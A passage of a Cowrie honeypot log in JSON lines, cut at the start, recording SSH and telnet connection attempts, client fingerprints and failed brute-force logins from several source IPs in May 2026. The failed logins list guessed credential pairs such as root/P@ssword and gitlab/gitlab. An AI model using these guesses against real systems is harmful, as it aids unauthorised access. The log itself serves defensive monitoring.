es128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:29.970738Z","src_ip":"83.168.110.85","session":"322e137ab8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:30.346898Z","src_ip":"83.168.110.85","session":"322e137ab8bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:31.633164Z","src_ip":"83.168.110.85","session":"322e137ab8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40582,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d559ec98d7","protocol":"ssh","message":"New connection: 83.168.110.85:40582 (10.17.0.5:22) [session: 02d559ec98d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:36.872673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:36.878124Z","src_ip":"83.168.110.85","session":"02d559ec98d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:36.999036Z","src_ip":"83.168.110.85","session":"02d559ec98d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:37.483320Z","src_ip":"83.168.110.85","session":"02d559ec98d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43940,"dst_ip":"10.17.0.5","dst_port":23,"session":"755d6a9439b6","protocol":"telnet","message":"New connection: 152.42.224.71:43940 (10.17.0.5:23) [session: 755d6a9439b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:38.277911Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:38.625379Z","src_ip":"83.168.110.85","session":"02d559ec98d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":32900,"dst_ip":"159.203.135.109","dst_port":22,"session":"8adc244a854d","protocol":"ssh","message":"New connection: 103.172.78.219:32900 (159.203.135.109:22) [session: 8adc244a854d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:39.247183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:39.251308Z","src_ip":"103.172.78.219","session":"8adc244a854d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:39.505868Z","src_ip":"103.172.78.219","session":"8adc244a854d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193572044373,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:40.175914Z","src_ip":"176.65.139.118","session":"89d5aa8cebb4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1234","message":"login attempt [root/dima1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:40.276793Z","src_ip":"103.172.78.219","session":"8adc244a854d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:41.536219Z","src_ip":"103.172.78.219","session":"8adc244a854d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.93198776245117,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:41.795869Z","src_ip":"176.65.139.118","session":"d027fe748a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":44436,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f8777d892da","protocol":"telnet","message":"New connection: 176.65.139.118:44436 (159.203.135.109:23) [session: 6f8777d892da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:41.957818Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40590,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd406872d77f","protocol":"ssh","message":"New connection: 83.168.110.85:40590 (10.17.0.5:22) [session: fd406872d77f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:44.095572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:44.100356Z","src_ip":"83.168.110.85","session":"fd406872d77f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:44.221045Z","src_ip":"83.168.110.85","session":"fd406872d77f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:44.589282Z","src_ip":"83.168.110.85","session":"fd406872d77f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43942,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e64c5766c7","protocol":"telnet","message":"New connection: 152.42.224.71:43942 (10.17.0.5:23) [session: 96e64c5766c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:45.521674Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:45.927270Z","src_ip":"83.168.110.85","session":"fd406872d77f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50846,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ddecd94b596","protocol":"ssh","message":"New connection: 83.168.110.85:50846 (10.17.0.5:22) [session: 0ddecd94b596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:50.904769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:50.918283Z","src_ip":"83.168.110.85","session":"0ddecd94b596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:51.039949Z","src_ip":"83.168.110.85","session":"0ddecd94b596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:51.403836Z","src_ip":"83.168.110.85","session":"0ddecd94b596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:52.527922Z","src_ip":"83.168.110.85","session":"0ddecd94b596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.78669285774231,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:54.957458Z","src_ip":"152.42.224.71","session":"f09ffd0621ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53514,"dst_ip":"10.17.0.5","dst_port":22,"session":"f06ae3b953a2","protocol":"ssh","message":"New connection: 83.168.110.85:53514 (10.17.0.5:22) [session: f06ae3b953a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:57.862501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:58.132234Z","src_ip":"83.168.110.85","session":"f06ae3b953a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:58.136696Z","src_ip":"83.168.110.85","session":"f06ae3b953a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:58.620858Z","src_ip":"83.168.110.85","session":"f06ae3b953a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:00.003339Z","src_ip":"83.168.110.85","session":"f06ae3b953a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.42561411857605,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:00.383300Z","src_ip":"176.65.139.118","session":"6f8777d892da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54654,"dst_ip":"159.203.135.109","dst_port":23,"session":"57dc40059d1d","protocol":"telnet","message":"New connection: 176.65.139.118:54654 (159.203.135.109:23) [session: 57dc40059d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:00.599920Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37618,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f91918fe109","protocol":"ssh","message":"New connection: 83.168.110.85:37618 (10.17.0.5:22) [session: 2f91918fe109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:05.032456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:05.038096Z","src_ip":"83.168.110.85","session":"2f91918fe109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:05.159731Z","src_ip":"83.168.110.85","session":"2f91918fe109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:05.530725Z","src_ip":"83.168.110.85","session":"2f91918fe109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:06.749390Z","src_ip":"83.168.110.85","session":"2f91918fe109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59184,"dst_ip":"10.17.0.5","dst_port":23,"session":"d592bf13ad11","protocol":"telnet","message":"New connection: 152.42.224.71:59184 (10.17.0.5:23) [session: d592bf13ad11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:08.364118Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37624,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8912b6257c1","protocol":"ssh","message":"New connection: 83.168.110.85:37624 (10.17.0.5:22) [session: d8912b6257c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:12.070833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:12.079042Z","src_ip":"83.168.110.85","session":"d8912b6257c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:12.201851Z","src_ip":"83.168.110.85","session":"d8912b6257c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:12.716288Z","src_ip":"83.168.110.85","session":"d8912b6257c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:13.850118Z","src_ip":"83.168.110.85","session":"d8912b6257c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49798,"dst_ip":"10.17.0.5","dst_port":22,"session":"29d52c902615","protocol":"ssh","message":"New connection: 83.168.110.85:49798 (10.17.0.5:22) [session: 29d52c902615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:19.325237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:19.330408Z","src_ip":"83.168.110.85","session":"29d52c902615","protocol":"ssh"}
